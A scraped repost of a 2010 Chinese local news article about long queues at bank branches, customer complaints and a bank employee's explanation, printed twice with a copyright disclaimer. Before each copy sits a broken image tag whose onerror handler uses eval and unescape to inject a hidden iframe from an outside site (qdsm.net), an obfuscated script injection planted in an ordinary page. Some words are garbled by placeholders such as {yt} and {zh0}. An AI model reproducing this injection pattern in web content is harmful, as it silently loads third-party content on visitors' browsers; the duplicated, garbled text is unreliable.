银行排队,怎一个"等"字了得?
[转贴 2010-05-13 23:04:56]
银行排队,怎一个"等"字了得?
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
宁海新闻网讯 如今，到银行存取款变成了很多人的畏途——因为要排队，排个十几分钟算短的，有时一个小时也不在话下。
29日上午7时30分，记者来到一银行网点，网点门刚一开，已等候在门口多时的几十名顾客就迫不及待地挤了进去。中午12时，记者又走进一家处于闹市区的银行网点，一进门吓一跳，好多的人啊。前面有的人已在怨声载道，说排了大概半个钟头，感觉队伍一点都没有动，办个业务怎么都这么慢？12时15分，记者后面又加了5个人。12时30分，记者数了一下排在前面的还有4个人。12时40分记者离开时，还没有轮到。
30日上午9时30分，记者又到另一家银行，两支队伍都排得长长的。当问及一位顾客为何不去自助服务区操作时，他没好气地回答，ATM机又不能跨行转账，非得柜台办理才行。与这位顾客一样，不少接受采访的消费者都表示有过类似体验：工资卡在这家银行开的户，交房贷又在另一家，每个月都要忍受排队之苦。
有研究表明，等候超过10分钟，人的情绪就会开始急躁，超过20分钟，情绪表现厌烦，超过40分钟，常因恼火而离去。对此，银行方面在接受采访时也有苦衷。一位工行工作人员说，工行代理业务比较多，但银行又不可能像其他行业一样延长工作时间，他们的职员已经很尽职尽责了，员工有时连中午饭都顾不上吃，每天都要办理500多笔业务，有的员工{yt}工作下来，腿都站麻了（该行规定，办理业务时，必须站立）。这位工作人员请广大客户也能谅解他们的苦衷。他还告诉记者，该行在提升服务水平、充分利用窗口资源的同时，也在想方设法出台一系列举措方便客户，比如推行叫号机，客户可以坐着等。同时他们也将尽量引导xx客户到网上银行办理业务，并建议客户如自动取款机上能办理的业务{zh0}在取款机上办理，这样，可以有效减少银行柜台的压力。（记者 赵燕）
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_728_90.html%20width%3D728%20height%3D90%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
宁海新闻网讯 如今，到银行存取款变成了很多人的畏途——因为要排队，排个十几分钟算短的，有时一个小时也不在话下。
29日上午7时30分，记者来到一银行网点，网点门刚一开，已等候在门口多时的几十名顾客就迫不及待地挤了进去。中午12时，记者又走进一家处于闹市区的银行网点，一进门吓一跳，好多的人啊。前面有的人已在怨声载道，说排了大概半个钟头，感觉队伍一点都没有动，办个业务怎么都这么慢？12时15分，记者后面又加了5个人。12时30分，记者数了一下排在前面的还有4个人。12时40分记者离开时，还没有轮到。
30日上午9时30分，记者又到另一家银行，两支队伍都排得长长的。当问及一位顾客为何不去自助服务区操作时，他没好气地回答，ATM机又不能跨行转账，非得柜台办理才行。与这位顾客一样，不少接受采访的消费者都表示有过类似体验：工资卡在这家银行开的户，交房贷又在另一家，每个月都要忍受排队之苦。
有研究表明，等候超过10分钟，人的情绪就会开始急躁，超过20分钟，情绪表现厌烦，超过40分钟，常因恼火而离去。对此，银行方面在接受采访时也有苦衷。一位工行工作人员说，工行代理业务比较多，但银行又不可能像其他行业一样延长工作时间，他们的职员已经很尽职尽责了，员工有时连中午饭都顾不上吃，每天都要办理500多笔业务，有的员工{yt}工作下来，腿都站麻了（该行规定，办理业务时，必须站立）。这位工作人员请广大客户也能谅解他们的苦衷。他还告诉记者，该行在提升服务水平、充分利用窗口资源的同时，也在想方设法出台一系列举措方便客户，比如推行叫号机，客户可以坐着等。同时他们也将尽量引导xx客户到网上银行办理业务，并建议客户如自动取款机上能办理的业务{zh0}在取款机上办理，这样，可以有效减少银行柜台的压力。（记者 赵燕）
郑重声明：资讯 【银行排队,怎一个"等"字了得? - xxx信息- facades - 和讯博客】由 发布，版权归原作者及其所在单位，其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实，请读者仅作参考，并请自行核实相关内容。若本文有侵犯到您的版权， 请你提供相关证明及申请并与我们联系（qiyeku # qq.com）或【在线投诉】，我们审核后将会尽快处理。
—— 相关资讯 ——
